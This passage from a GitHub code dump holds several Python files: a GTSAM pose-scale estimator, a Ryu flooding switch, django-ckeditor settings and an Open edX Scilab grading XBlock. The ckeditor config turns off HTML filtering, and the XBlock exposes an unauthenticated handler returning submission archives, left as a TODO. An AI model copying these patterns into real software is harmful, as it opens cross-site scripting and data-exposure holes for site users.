{user_score}\")\r\n  print(f\"Computer final hand {computer_cards} and score {computer_score}\")\r\n\r\n  print(compare(user_score, computer_score))\r\n\r\n  another_game=input(\"Enter 'yes' to restart  the game: \")\r\n  if another_game=='yes':\r\n    clear()\r\n    blackjack()\r\n\r\nblackjack()","repo_name":"sumitsingh2415/pythonsamples","sub_path":"balckjack.py","file_name":"balckjack.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"31719820349","text":"from __future__ import print_function\n\nimport math\nimport numpy as np\nimport gtsam\nimport matplotlib.pyplot as plt\nimport gtsam.utils.plot as gtsam_plot\n\n\n\ndef cov_delta_xij(xi, xj, joint_marginal_matrix):\n    \"\"\"Get covariance of delta xij\n    \"\"\"\n    _,H1,H2 = between(xi,xj)\n    A = np.hstack([H1,H2])\n    return A @ joint_marginal_matrix @ A.T\n\n\ndef between(p1, p2):\n    \"\"\"Get between factor of pose 1 and pose 2\n    \"\"\"\n    result = p1.inverse().compose(p2)\n    H1 = -result.inverse().AdjointMap()\n    size = H1.shape[0]\n    H2 = np.eye(size)\n    return result,H1,H2\n\ndef get_reletive_pose(result,marginals, i , j):\n    \"\"\"Get relative pose between i and j\n    \"\"\"\n    pi = result.atPose2(i)\n    pj = result.atPose2(j)\n    key_vec = gtsam.gtsam.KeyVector()\n    key_vec.push_back(i)\n    key_vec.push_back(j)\n    cov = marginals.jointMarginalCovariance(key_vec).fullMatrix()\n    noise = cov_delta_xij(pi,pj,cov)\n    return pi.between(pj), noise\n\ndef compound_pose(xij,xjk,noiseij,noisejk):\n    \"\"\"Compound the pose together\n    \"\"\"\n\n    graph = gtsam.NonlinearFactorGraph()\n\n    PRIOR_NOISE = gtsam.noiseModel_Diagonal.Sigmas(np.array([0.0001, 0.0001, 0.0001],dtype = np.float))\n    graph.add(gtsam.PriorFactorPose2(1, gtsam.Pose2(0.0, 0.0, 0.0), PRIOR_NOISE))\n\n    noiseij = gtsam.noiseModel_Gaussian.Covariance(noiseij)\n    noisejk = gtsam.noiseModel_Gaussian.Covariance(noisejk)\n\n    graph.add(gtsam.BetweenFactorPose2(1, 2, xij, noiseij))\n    graph.add(gtsam.BetweenFactorPose2(2, 3, xjk, noisejk))\n\n    initial_estimate = gtsam.Values()\n    initial_estimate.insert(1, gtsam.Pose2(0.5, 0.0, 0.2))\n    initial_estimate.insert(2, gtsam.Pose2(2.3, 0.1, -0.2))\n    initial_estimate.insert(3, gtsam.Pose2(2., 0.1, -0.2))\n\n    params = gtsam.LevenbergMarquardtParams()\n    optimizer = gtsam.LevenbergMarquardtOptimizer(graph, initial_estimate, params)\n    result = optimizer.optimize()\n\n    marginals = gtsam.Marginals(graph, result)\n\n    return get_reletive_pose(result, marginals, 1, 3)\n\n\ndef inv_Q(Q):\n    \"\"\"Take inverse on positive-definite matrix\n    \"\"\"\n    NOISE = gtsam.noiseModel_Gaussian.Covariance(Q)\n    Q_inv = NOISE.information()\n    return Q_inv\n\ndef rotation_matrix_between_vectors(a,b):\n    dim=3\n    a = a.reshape(-1)\n    b = b.reshape(-1)\n    if a.shape[0] == 2:\n        dim = 2\n        a = np.hstack([a,[0]])\n    if b.shape[0] == 2:\n        b = np.hstack([b,[0]])\n    a = a/np.linalg.norm(a)\n    b = b/np.linalg.norm(b)\n\n    v = np.cross(a,b)\n    s = np.linalg.norm(v)\n    c = a.dot(b)\n    vx = np.array([\n        [0, -v[2], v[1]],\n        [v[2], 0, -v[0]],\n        [-v[1], v[0], 0.],\n        ])\n    if s==0:\n        R = np.eye(3)\n    else:\n        R = np.eye(3) + vx + vx @ vx *(1-c)/s**2\n    if dim ==2:\n        R = R[0:2,0:2]\n    return R\n\ndef marginalization(M, index, inverse = inv_Q):\n    shape = M.shape[0]\n    ind1 = index\n    ind2 = []\n    for i in range(shape):\n        if i not in index:ind2.append(i)\n    A = M[ind1,:][:,ind1]\n    B = M[ind1,:][:,ind2]\n    BT = M[ind2,:][:,ind1]\n    C = M[ind2,:][:,ind2]\n    result = A-B@inverse(C)@BT\n    return result\n\ndef get_scale3(x_list,x_original_list,cov_list):\n    s_list = []\n    std_list = []\n    for i in range(len(x_list)):\n        s,std_s = get_scale(x_list[i],x_original_list[i],cov_list[i])\n        s_list.append(s)\n        std_list.append(std_s)\n    s = np.array(s_list)\n    std = np.array(std_list)\n\n    w = np.sum(1./(std**2))\n    s_mean = np.sum(s/(std**2))/w\n    std = 1./np.sqrt(w)\n    return s_mean,std\n\n\ndef get_scale(x,x_original,cov):\n    size = cov.shape[0]\n    dim = x.translation().vector().shape[0]\n\n    cov_translation = inv_Q(marginalization(inv_Q(cov), range(dim)))\n    R_ij = x.rotation().matrix()\n\n    ex = np.zeros(dim)\n    ex[0] = 1\n    R_ki = rotation_matrix_between_vectors(x.translation().vector(), ex)\n\n    R_kj = R_ki @ R_ij\n\n\n    new_cov = R_kj @ cov_translation\n\n    var = inv_Q(marginalization(inv_Q(new_cov),[0]))\n    var = var.reshape(-1)[0]\n\n    l = np.linalg.norm(x.translation().vector())\n    l0 = np.linalg.norm(x_original.translation().vector())\n\n    std_l = np.sqrt(var)\n    s = l0/l\n    std_s = s/l *std_l\n\n    return s,std_s\n\ndef get_length(x,x_original,cov):\n    size = cov.shape[0]\n    dim = x.translation().vector().shape[0]\n\n    cov_translation = inv_Q(marginalization(inv_Q(cov), range(dim)))\n\n    R_ij = x.rotation().matrix()\n\n    ex = np.zeros(dim)\n    ex[0] = 1\n    R_ki = rotation_matrix_between_vectors(x.translation().vector(), ex)\n\n    R_kj = R_ki @ R_ij\n\n    new_cov = R_kj @ cov_translation\n\n    var = inv_Q(marginalization(inv_Q(new_cov),[0]))\n    var = var.reshape(-1)[0]\n\n    l = np.linalg.norm(x.translation().vector())\n    l0 = np.linalg.norm(x_original.translation().vector())\n\n    std_l = np.sqrt(var)\n    return l,std_l\n\n\ndef construct_SIFactor2(measured,cov):\n    \"\"\"Construct SIBetweenFactor for Pose2\n    \"\"\"\n    if not (type(cov) is type(np.array([1.,2.]))):\n        cov = cov.covariance()\n\n    size = cov.shape[0]\n    dim = measured.translation().vector().shape[0]\n\n    R_ij = measured.rotation().matrix()\n    Jt = np.hstack([R_ij,np.zeros((dim,size-dim))])\n\n\n    J = np.block([[Jt],\n                [np.zeros((size-dim,dim)),np.eye(size-dim)]])\n    Q = Jt @ cov @ Jt.T\n    Q_inv = inv_Q(Q)\n\n\n    xij = measured.translation().vector().reshape((dim,-1))\n\n    Ht = np.eye(dim) - (xij @ xij.T @ Q_inv)/(xij.T @ Q_inv @ xij)\n\n    eigenValues, eigenVectors = np.linalg.eig(Ht)\n    idx = eigenValues.argsort()[::-1]\n    eigenVectors = eigenVectors[:,idx[:-1]]\n    Ht = Ht[0:dim-1,:]\n\n    H = np.block([\n        [Ht, np.zeros((Ht.shape[0],size-dim))],\n        [np.zeros((size-dim,Ht.shape[1])),np.eye(size-dim)]])\n\n    H = H @ J\n\n    noise = H @ J @ cov @ J.T @ H.T\n    return measured,gtsam.noiseModel_Gaussian.Covariance(noise),H\n\n\ndef scale_normalizae(p, Q, t=1.):\n    translation = p.translation().vector()\n    s = 1./translation.norm()\n    p = scale_pose(p,s)\n    Q = scale_covariance(Q,s)\n    return p,Q\n    pass\n\ndef scale_pose(p,s):\n    T_trans = type(p.translation())\n    T_pose = type(p)\n    translation = p.translation().vector()\n    rotation = p.rotation()\n\n    translation = T_trans(translation*s)\n    new_p = T_pose(r=rotation, t=translation)\n    return new_p\n\ndef scale_covariance(cov, s):\n    if not (type(cov) is type(np.array([1.,2.]))):\n        cov = cov.covariance()\n    size = cov.shape[0]\n    if size == 6:\n        dim = 3\n    elif size == 3:\n        dim = 2\n    else:\n        print('unkown covariance size')\n    scale_matrix = np.block([\n        [np.eye(dim)*s,np.zeros((dim,size-dim))],\n        [np.zeros((size-dim,dim)),np.eye(size-dim)]\n        ])\n\n    scaled_cov = scale_matrix @ cov @ scale_matrix\n    return gtsam.noiseModel_Gaussian.Covariance(scaled_cov)\n\n\nif __name__ == '__main__':\n    graph = gtsam.NonlinearFactorGraph()\n\n    sb = np.zeros((3,3),dtype = np.float)\n    np.fill_diagonal(sb, [0.2*0.2,0.5*0.5,0.1*0.1])\n    ODOMETRY_NOISE = gtsam.noiseModel_Gaussian.Covariance(sb)\n\n    PRIOR_NOISE = gtsam.noiseModel_Diagonal.Sigmas(np.array([0.6, 0.2, 0.1],dtype = np.float))\n    graph.add(gtsam.PriorFactorPose2(1, gtsam.Pose2(0.0, 0.0, 1.0), PRIOR_NOISE))\n\n    graph.add(gtsam.BetweenFactorPose2(1, 2, gtsam.Pose2(2.0, 0.0, 0.5), ODOMETRY_NOISE))\n\n    graph.add(gtsam.BetweenFactorPose2(2, 3, gtsam.Pose2(0.0, 2.0, 0.2), ODOMETRY_NOISE))\n\n    graph.add(gtsam.BetweenFactorPose2(3, 1, gtsam.Pose2(-2.0, -2.0, -0.3), ODOMETRY_NOISE))\n\n    initial_estimate = gtsam.Values()\n    initial_estimate.insert(1, gtsam.Pose2(0.5, 0.0, 0.2))\n    initial_estimate.insert(2, gtsam.Pose2(2.3, 0.1, -0.2))\n    initial_estimate.insert(3, gtsam.Pose2(2.3, 2.1, -0.2))\n\n    params = gtsam.LevenbergMarquardtParams()\n    optimizer = gtsam.LevenbergMarquardtOptimizer(graph, initial_estimate, params)\n    result = optimizer.optimize()\n\n    marginals = gtsam.Marginals(graph, result)\n    fig = plt.figure(0)\n    for i in range(1, 4):\n        gtsam_plot.plot_pose2(0, result.atPose2(i), 0.5, marginals.marginalCovariance(i))\n\n    plt.axis('equal')\n\n\n    p1 = result.atPose2(1)\n    p2 = result.atPose2(2)\n    p3 = result.atPose2(3)\n\n\n\n    marginals = gtsam.Marginals(graph, result)\n\n    key_vec = gtsam.gtsam.KeyVector()\n    key_vec.push_back(1)\n    key_vec.push_back(2)\n    cov = marginals.jointMarginalCovariance(key_vec).fullMatrix()\n    NOISE12 = cov_delta_xij(p1,p2,cov)\n\n    key_vec = gtsam.gtsam.KeyVector()\n    key_vec.push_back(2)\n    key_vec.push_back(3)\n    cov = marginals.jointMarginalCovariance(key_vec).fullMatrix()\n    NOISE23 = cov_delta_xij(p2,p3,cov)\n\n    key_vec = gtsam.gtsam.KeyVector()\n    key_vec.push_back(1)\n    key_vec.push_back(3)\n    cov = marginals.jointMarginalCovariance(key_vec).fullMatrix()\n    NOISE13 = cov_delta_xij(p1,p3,cov)\n\n\n    graph = gtsam.NonlinearFactorGraph()\n    graph.add(gtsam.PriorFactorPose2(1, p1, PRIOR_NOISE))\n    graph.add(gtsam.PriorFactorPose2(2, p2, PRIOR_NOISE))\n    scale = 0.4\n    print('scale: ',scale)\n\n\n\n    p1 = scale_pose(p1,scale)\n    p2 = scale_pose(p2,scale)\n    p3 = scale_pose(p3,scale)\n\n    x_original_list = [p1.between(p2), p2.between(p3), p1.between(p3)]\n\n    NOISE12 = scale_covariance(NOISE12,scale)\n    NOISE23 = scale_covariance(NOISE23,scale)\n    NOISE13 = scale_covariance(NOISE13,scale)\n\n    measured,noise,H=construct_SIFactor2(p1.between(p2),NOISE12)\n    graph.add(gtsam.SIBetweenFactorPose2(1, 2, measured, noise, H))\n\n    measured,noise,H=construct_SIFactor2(p2.between(p3),NOISE23)\n    graph.add(gtsam.SIBetweenFactorPose2(2, 3, measured, noise, H))\n\n    measured,noise,H=construct_SIFactor2(p1.between(p3),NOISE13)\n    graph.add(gtsam.SIBetweenFactorPose2(1, 3, measured, noise, H))\n\n    params = gtsam.LevenbergMarquardtParams()\n    optimizer = gtsam.LevenbergMarquardtOptimizer(graph, initial_estimate, params)\n    result = optimizer.optimize()\n\n    marginals = gtsam.Marginals(graph, result)\n\n\n\n    p1 = result.atPose2(1)\n    p2 = result.atPose2(2)\n    p3 = result.atPose2(3)\n\n\n    marginals = gtsam.Marginals(graph, result)\n\n    key_vec = gtsam.gtsam.KeyVector()\n    key_vec.push_back(1)\n    key_vec.push_back(2)\n    cov = marginals.jointMarginalCovariance(key_vec).fullMatrix()\n    NOISE12 = cov_delta_xij(p1,p2,cov)\n\n    key_vec = gtsam.gtsam.KeyVector()\n    key_vec.push_back(2)\n    key_vec.push_back(3)\n    cov = marginals.jointMarginalCovariance(key_vec).fullMatrix()\n    NOISE23 = cov_delta_xij(p2,p3,cov)\n\n    key_vec = gtsam.gtsam.KeyVector()\n    key_vec.push_back(1)\n    key_vec.push_back(3)\n    cov = marginals.jointMarginalCovariance(key_vec).fullMatrix()\n    NOISE13 = cov_delta_xij(p1,p3,cov)\n\n    cov_list = [NOISE12, NOISE23, NOISE13]\n\n    x12 = p1.between(p2)\n\n    x_list = [p1.between(p2), p2.between(p3), p1.between(p3)]\n    print('get scale')\n    print(get_scale(x_list[0],x_original_list[0],cov_list[0]))\n\n    print('get scale 3')\n    print(get_scale3(x_list,x_original_list,cov_list))\n\n    fig = plt.figure(0)\n    for i in range(1, 4):\n        gtsam_plot.plot_pose2(0, result.atPose2(i), 0.5, marginals.marginalCovariance(i))\n\n    plt.axis('equal')\n\n    plt.show()\n\n","repo_name":"xsj01/SI-Map-Merging","sub_path":"scale_estimation/SIFactor.py","file_name":"SIFactor.py","file_ext":"py","file_size_in_byte":11036,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"77"}
+{"seq_id":"22762246774","text":"#!/bin/python\n\n\"\"\"Utilise python for ryu script\"\"\"\n\nfrom ryu.base import app_manager\nfrom ryu.controller import ofp_event\nfrom ryu.controller.handler import MAIN_DISPATCHER\nfrom ryu.controller.handler import set_ev_cls\nfrom ryu.ofproto import ofproto_v1_0\n\nclass L2Switch(app_manager.RyuApp):\n    \"\"\"Class to implement L2 switching\"\"\"\n\n    OFP_VERSIONS = [ofproto_v1_0.OFP_VERSION]\n\n    def __init__(self, *args, **kwargs):\n        \"\"\"init function\"\"\"\n\n        super(L2Switch, self).__init__(*args, **kwargs)\n\n    @set_ev_cls(ofp_event.EventOFPPacketIn, MAIN_DISPATCHER)\n    def packet_in_handler(self, ev):\n        \"\"\"Function to handle and track packets\"\"\"\n\n        msg = ev.msg\n        dp = msg.datapath\n        ofp = dp.ofproto\n        ofp_parser = dp.ofproto_parser\n\n        actions = [ofp_parser.OFPActionOutput(ofp.OFPP_FLOOD)]\n\n        data = None\n        if msg.buffer_id == ofp.OFP_NO_BUFFER:\n            data = msg.data\n\n        out = ofp_parser.OFPPacketOut(\n            datapath=dp, buffer_id=msg.buffer_id, in_port=msg.in_port,\n            actions=actions, data=data)\n        dp.send_msg(out)\n","repo_name":"Arka21Pal/SDN-project-firewall-traffic","sub_path":"stale/topology/drafts/ryu-files/ryu_draft_mini.py","file_name":"ryu_draft_mini.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"4467505615","text":"\"\"\"\nSettings to enable the django-ckeditor\n\"\"\"\nINSTALLED_APPS = add_to_tuple(INSTALLED_APPS, 'ckeditor', 'project.zinnia_ckeditor')\n\nCKEDITOR_UPLOAD_PATH = \"uploads/\"\n\nCKEDITOR_IMAGE_BACKEND = 'pillow'\n\nCKEDITOR_CONFIGS = {\n    'zinnia': {\n        # Reorganize/remove/add buttons\n        'toolbar_Full': [\n            ['Styles', 'Format', 'Bold', 'Italic', 'Underline', 'Strike'],\n            ['Link', 'Unlink'],\n            ['JustifyLeft', 'JustifyCenter', 'JustifyRight'],\n            ['Blockquote', 'CreateDiv'],\n            ['Image', 'Table', 'Templates'],\n            ['Undo', 'Redo'],\n            ['Source'],\n            ['Maximize'],\n        ],\n        \n        # Wider editor\n        'height': 400,\n        'width': 980,\n        \n        # Justifiy classes with Foundation naming\n        'justifyClasses': [ 'text-left', 'text-center', 'text-right', 'AlignJustify' ],\n        \n        # Enable some plugins\n        'extraPlugins': 'blockquote,codemirror,div,justify,showblocks,image2,templates',\n        \n        # To enable showblocks on editor start without to use a button\n        'startupOutlineBlocks': True,\n        \n        # Disable element filter to enable full HTML5, also this will let \n        # append any code, even bad syntax and malicious code, so be careful\n        \"removePlugins\": \"stylesheetparser\",\n        \"allowedContent\": True,\n        \n        # Link to use for the link \"Browse server\"\n        'filebrowserBrowseUrl': \"/admin/filebrowser/browse?pop=3\",\n        \n        # Content templates option to not overwrite the whole content when using a template\n        'templates_replaceContent': False,\n        # Script URL to load JSON manifest for content templates\n        'templates_files': [\n            '/ckeditor/editor_site_templates.js'\n        ],\n    },\n}\n\n# Path (relative to a project template dir) for ckeditor \"content templates\" directory\nCKEDITOR_EDITOR_TEMPLATES_PATH = \"ckeditor/editor-site-templates/\"\n# Path (relative to the static dir) for ckeditor \"content templates\" image thumbs directory\nCKEDITOR_EDITOR_TEMPLATES_IMAGES_PATH = \"ckeditor/editor-site-templates/\"\n# Filename path (relative to CKEDITOR_EDITOR_TEMPLATES_PATH) to search for template manifest\nCKEDITOR_EDITOR_TEMPLATES_MANIFEST_FILENAME = \"manifest.json\"\n# Template string to use to declare content templates\nCKEDITOR_EDITOR_JS_TEMPLATE = u\"\"\"CKEDITOR.addTemplates( 'default', {{imagesPath:\"{imagespath}\", templates: {json_list}}});\"\"\"\n","repo_name":"sveetch/sveetch-net","sub_path":"project/mods_available/ckeditor/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":2451,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"30489519259","text":"# -*- coding: utf-8 -*-\n\nfrom base64 import b64encode\nfrom zipfile import ZipFile\n\nimport json\nimport mimetypes\nimport re\n\nfrom django.conf import settings\nfrom django.core.files.base import File\nfrom django.core.files.storage import default_storage\nfrom functools import partial\nfrom ifmo_submissions import api as ifmo_submissions_api\nfrom path import path\nfrom submissions import api as submissions_api\nfrom xblock.core import XBlock\nfrom xblock_ifmo.core import IfmoXBlock, XQueueMixin, SubmissionsMixin\nfrom xblock_ifmo import FragmentMakoChain, xqueue_callback, now, reify_f\nfrom xblock_ifmo import get_sha1, file_storage_path\nfrom xmodule.util.duedate import get_extended_due_date\nfrom xqueue_api.utils import deep_update\nfrom xqueue_api.xblocksubmission import XBlockSubmissionResult\nfrom webob.response import Response\n\nfrom .fields import ScilabXBlockFields\n\nBLOCK_SIZE = 8 * 1024\n\n\n@XBlock.needs(\"user\")\n@IfmoXBlock.register_resource_dir()\nclass ScilabXBlock(ScilabXBlockFields, XQueueMixin, SubmissionsMixin, IfmoXBlock):\n\n    xqueue_sender_name = 'ifmo_xblock_scilab'\n    submission_type = \"scilab_xblock\"\n\n    # Use this unless submissions api is used\n    # always_recalculate_grades = True\n\n    def student_view(self, context=None):\n\n        if not self._is_studio() and self.need_generate \\\n                and not self.queue_details and not self.pregenerated:\n            self.do_generate()\n\n        if context is None:\n            context = dict()\n\n        deep_update(context, {'render_context': self.get_student_context()})\n\n        fragment = FragmentMakoChain(base=super(ScilabXBlock, self).student_view(),\n                                     lookup_dirs=self.get_template_dirs())\n        fragment.add_content(self.load_template('xblock_scilab/student_view.mako'))\n        fragment.add_context(context)\n        fragment.add_css(self.load_css('student_view.css'))\n        fragment.add_javascript(self.load_js('student_view.js'))\n        fragment.initialize_js('ScilabXBlockStudentView')\n\n        return fragment\n\n    def studio_view(self, context=None):\n\n        if context is None:\n            context = dict()\n\n        deep_update(context, {'render_context': self.get_settings_context()})\n\n        fragment = FragmentMakoChain(base=super(ScilabXBlock, self).studio_view(),\n                                     lookup_dirs=self.get_template_dirs())\n        fragment.add_content(self.load_template('xblock_scilab/settings_view.mako'))\n        fragment.add_context(context)\n        fragment.add_css(self.load_css('settings_view.css'))\n        fragment.add_javascript(self.load_js('settings_view.js'))\n        fragment.initialize_js('ScilabXBlockSettingsView')\n        return fragment\n\n    # ================================================================================================================ #\n\n    @reify_f\n    def get_student_context(self, user=None):\n\n        parent = super(ScilabXBlock, self)\n        if hasattr(parent, 'get_student_context'):\n            context = parent.get_student_context(user)\n        else:\n            context = {}\n\n        # TODO: Parents should declare what they provide for student context\n\n        # Получение пользовательского контектса и отрендеренного фрагмента не\n        # очень очевидно, так как собирается в обратном порядке. По хорошему,\n        # нужно переписать это под ноль.\n        # С связи с этим нельзя перезаписать текст задания (он устанавливается\n        # контекстом выше). Именно для этого мы заводим отдельный параметр в\n        # в контексте здесь.\n        context['need_generate'] = False\n        pregenerated = None\n        if self.need_generate:\n            context['need_generate'] = True\n            try:\n                if self.pregenerated:\n                    pregenerated = self.pregenerated.split(\"\\n\")\n            except TypeError:\n                pass\n\n        context.update({\n            'allow_submissions': True if (self.due is None) or (now() < get_extended_due_date(self)) else False,\n            'task_status': self.queue_details.get('state', 'IDLE'),\n            'pregenerated': pregenerated,\n            'need_show_interface': self._is_studio() or not self.need_generate or self.pregenerated,\n        })\n        if self.message is not None:\n            context.update({\n                'message': {\n                    'text': self.message,\n                    'type': 'info',\n                }\n            })\n\n        if self._is_staff():\n            context.update({\n                'instructor_archive': self.instructor_archive_meta,\n            })\n\n        return context\n\n    def get_settings_context(self):\n\n        context = super(ScilabXBlock, self).get_settings_context()\n        deep_update(context, {\n            'metadata': {\n                'time_limit_generate': self.time_limit_generate,\n                'time_limit_execute': self.time_limit_execute,\n                'time_limit_check': self.time_limit_check,\n                'instructor_archive': self.instructor_archive_meta,\n            },\n        })\n\n        return context\n\n    # ================================================================================================================ #\n\n    @XBlock.json_handler\n    def save_settings(self, data, suffix):\n        result = super(ScilabXBlock, self).save_settings(data)\n        self.time_limit_generate = data.get('time_limit_generate')\n        self.time_limit_execute = data.get('time_limit_execute')\n        self.time_limit_check = data.get('time_limit_check')\n\n        # Извлекаем информацию об оригинальном архиве и драфте\n        fs_path = self.instructor_archive_meta.get('fs_path')\n        draft_fs_path = self.instructor_archive_meta.get('draft', {}).get('fs_path')\n\n        # Сейчас оригинального файла может не существовать, поэтому вычислим его расположение\n\n        # Перемещать нам нужно файл только если в драфте что-то есть\n        storage = default_storage\n        if draft_fs_path and storage.exists(draft_fs_path):\n\n            # Удаляем существующий оригинальный файл\n            # if fs_path and storage.exists(fs_path):\n            #     storage.delete(fs_path)\n\n            # Вычисляем новый адрес архива\n            new_fs_path = draft_fs_path[:-len(\".~draft\")]\n\n            # Сохраняем из драфта, операции move нет, поэтому только open...\n            storage.save(new_fs_path, storage.open(draft_fs_path))\n\n            # Подчищаем draft\n            storage.delete(draft_fs_path)\n\n            # Сохраняем мета-информацию о драфте\n            self.instructor_archive_meta = self.instructor_archive_meta['draft']\n            self.instructor_archive_meta['fs_path'] = new_fs_path\n\n        return result\n\n    @XBlock.json_handler\n    def user_state(self, data, suffix=''):\n        # TODO: Do user_state more like save_settings\n        return self.get_response_user_state(self.get_student_context())\n\n    @XBlock.handler\n    def upload_submission(self, request, suffix):\n\n        def _return_response(response_update=None):\n            if response_update is None:\n                response_update = {}\n            response = self.get_student_context()\n            response.update(response_update)\n            return self.get_response_user_state(response)\n\n        if self.queue_details:\n            return _return_response({\n                'message': {\n                    'text': 'Проверка другого решения уже запущена.',\n                    'type': 'error',\n                }\n            })\n\n        try:\n\n            self.message = None\n\n            # Извлечение данных о загруженном файле\n            upload = request.params['submission']\n            uploaded_file = File(upload.file)\n            uploaded_filename = upload.file.name\n            uploaded_sha1 = get_sha1(upload.file)\n            uploaded_mimetype = mimetypes.guess_type(upload.file.name)[0]\n\n            # Реальные названия файлов в ФС\n            fs_path = file_storage_path(self.location, uploaded_sha1)\n            instructor_fs_path = self.get_instructor_path()\n\n            # Сохраняем данные о решении\n            student_id = self.student_submission_dict()\n            student_answer = {\n                \"sha1\": uploaded_sha1,\n                \"filename\": uploaded_filename,\n                \"mimetype\": uploaded_mimetype,\n                \"real_path\": fs_path,\n                \"instructor_real_path\": instructor_fs_path,\n            }\n            submission = submissions_api.create_submission(student_id, student_answer)\n\n            # Сохраняем файл с решением\n            if default_storage.exists(fs_path):\n                default_storage.delete(fs_path)\n            default_storage.save(fs_path, uploaded_file)\n\n            payload = {\n                'method': 'check',\n                'student_info': self.queue_student_info,\n                'grader_payload': json.dumps({\n                    'pregenerated': self.pregenerated if self.need_generate else None,\n                    'time_limit_execute': self.time_limit_execute,\n                    'time_limit_check': self.time_limit_check,\n                }),\n                'student_response': self.get_queue_student_response(submission),\n            }\n\n            self.send_to_queue(\n                header=self.get_submission_header(\n                    access_key_prefix=submission.get('uuid'),\n                ),\n                body=json.dumps(payload)\n            )\n\n        except Exception as e:\n            return _return_response({\n                'message': {\n                    'text': 'Ошибка при попытке поставить проверку решения в очередь: ' + e.message,\n                    'type': 'error',\n                }\n            })\n\n        return _return_response()\n\n    @XBlock.handler\n    def upload_instructor_archive(self, request, suffix):\n        \"\"\"\n        Обработчик загрузки архива инструктора.\n\n        Вызывается, когда в студии инструктор нажимает кнопку \"Загрузить\"\n        напротив поля \"Архив инструктора\".\n\n        Проводит валидацию архива и временно сохраняет его. Позднее, он может\n        быт восстановлен обработчиком \"save_settings\". Защиты от параллельной\n        загрузки несколькими инструкторами (или в нескольких окнах браузера)\n        не предусмотрено.\n\n        :param request:\n        :param suffix:\n        :return:\n        \"\"\"\n\n        def get_archive_signature(archive):\n            \"\"\"\n            Формирует подпись архива (файла) на основании sha1 и текущего времени\n\n            :param archive: file-object\n            :return: tuple(sha1, signature)\n            \"\"\"\n            import hashlib\n            import datetime\n            sha1 = get_sha1(archive)\n            md5 = hashlib.md5()\n            md5.update(sha1)\n            md5.update(datetime.datetime.isoformat(datetime.datetime.now()))\n            return sha1, md5.hexdigest()\n\n        upload = request.params['instructor_archive']\n\n        self.validate_instructor_archive(upload.file)\n\n        uploaded_file = File(upload.file)\n\n        archive_sha1, archive_signature = get_archive_signature(uploaded_file)\n        archive_name = \"instructor.{signature}.~draft\".format(name=upload.file.name, signature=archive_signature)\n        fs_path = file_storage_path(self.location, archive_name)\n\n        # Сохраняем временную информацию до того как нажата кнопка \"Save\"\n        self.instructor_archive_meta['draft'] = {\n            'filename': upload.file.name,\n            'sha1': get_sha1(uploaded_file),\n            'upload_at': None,\n            'upload_by': None,\n            'fs_path': fs_path,\n        }\n\n        if default_storage.exists(fs_path):\n            default_storage.delete(fs_path)\n        default_storage.save(fs_path, uploaded_file)\n\n        return Response(json_body={})\n\n    def _get_grader_payload(self, instructor_archive):\n        \"\"\"\n        Данные, завясящие исключительно от модуля, но не возволяющие идентифицировать сам модуль.\n        :return:\n        \"\"\"\n        return {\n            'filename': instructor_archive,\n        }\n\n    def _get_system_payload(self):\n        \"\"\"\n        Данные, позволяющие идентифицировать сам модуль.\n        :return:\n        \"\"\"\n        return {\n            'user_id': self.scope_ids.user_id,\n            'course_id': unicode(self.course_id),\n            'module_id': unicode(self.location),\n            'max_score': self.weight,\n        }\n\n    def _get_student_input(self, submission):\n        return {\n            'filename': submission.real_filename,\n        }\n\n    @XBlock.handler\n    def get_submitted_archives(self, request, suffix):\n\n        def get_64_contents(filename):\n            with default_storage.open(filename, 'r') as f:\n                return b64encode(f.read())\n\n        instructor_fs_path = self.get_instructor_path()\n\n        response = {\n            'instructor_archive_name': instructor_fs_path,\n            'instructor_archive': get_64_contents(instructor_fs_path),\n        }\n\n        if suffix:\n            user_id = self.student_submission_dict(anon_student_id=suffix)\n            submission = submissions_api.get_submission(user_id.get('student_id'))\n            answer = submission['answer']\n            response.update({\n                'user_archive_name': answer.get('real_path'),\n                'user_archive': get_64_contents(answer.get('real_path')),\n            })\n\n        return Response(json_body=response)\n\n    def get_queue_student_response(self, submission=None, dump=True):\n        # TODO: Protect this with hash\n        # TODO: Вынести формирование адреса для xqueue в обобщенный интерфейс\n\n        # В некоторых случаях грейдер должен обратиться к LMS за дополнительными данными, при этом адрес LMS для\n        # грейдера может отличаться от того, который предназначен для пользователя. Например, для внешних соединений\n        # адрес представляет доменное имя с https, а грейдер внутри сети может обратиться к LMS по http/ip.\n\n        # Полный адрес обработчика с указанием протокола\n        base_url = self.runtime.handler_url(self, 'get_submitted_archives', thirdparty=True)\n\n        # Получаем из настроет callback_url для xqueue\n        callback_url = settings.XQUEUE_INTERFACE.get(\"callback_url\")\n\n        # Если он задан, перезаписываем полный адрес обработчика\n        if callback_url:\n\n            # SITENAME содержит исключительно доменное имя или ip без указания протокола\n            # Заменяем найденный в полном адресе обработчике SITENAME на callback_url\n            # TODO: Корректно обрабатывать https, если он указан в настройках\n            base_url = re.sub(\"http.?//%s\" % settings.SITE_NAME, callback_url, base_url)\n\n        if submission is None:\n            submission = {}\n        result = {\n            'archive_64_url': base_url + '/' + submission.get('uuid', ''),\n        }\n        if dump:\n            result = json.dumps(result)\n        return result\n\n    @xqueue_callback(XBlockSubmissionResult)\n    def score_update(self, submission_result):\n\n        parent = super(ScilabXBlock, self)\n        if hasattr(parent, 'score_update'):\n            parent.score_update(submission_result)\n\n        submission_uid, validation_key = submission_result.lms_key.split('+')\n\n        # TODO: Validate submission\n        # submission = submissions_api.get_submission(submission_uid)\n\n        submissions_api.set_score(submission_uid, int(100*submission_result.score), 100,\n                                  annotation_reason=submission_result.msg,\n                                  annotation_creator='xblock_scilab',\n                                  annotation_type='check')\n\n        self.points = submission_result.score\n        self.runtime.publish(self, 'grade', {\n                'value': submission_result.score * self.max_score(),\n                'max_value': self.max_score()\n        })\n\n        annotation = ifmo_submissions_api.get_annotation(self.student_submission_dict())\n        self.message = None\n        try:\n            message = (json.loads(annotation.get('reason'))['message']).strip()\n            if message:\n                self.message = u\"<b>Результат последней проверки:</b> %s\" % message\n        except (ValueError, KeyError):\n            pass\n\n    def validate_instructor_archive(self, uploaded_file):\n\n        instructor_file = ZipFile(uploaded_file)\n        file_list = 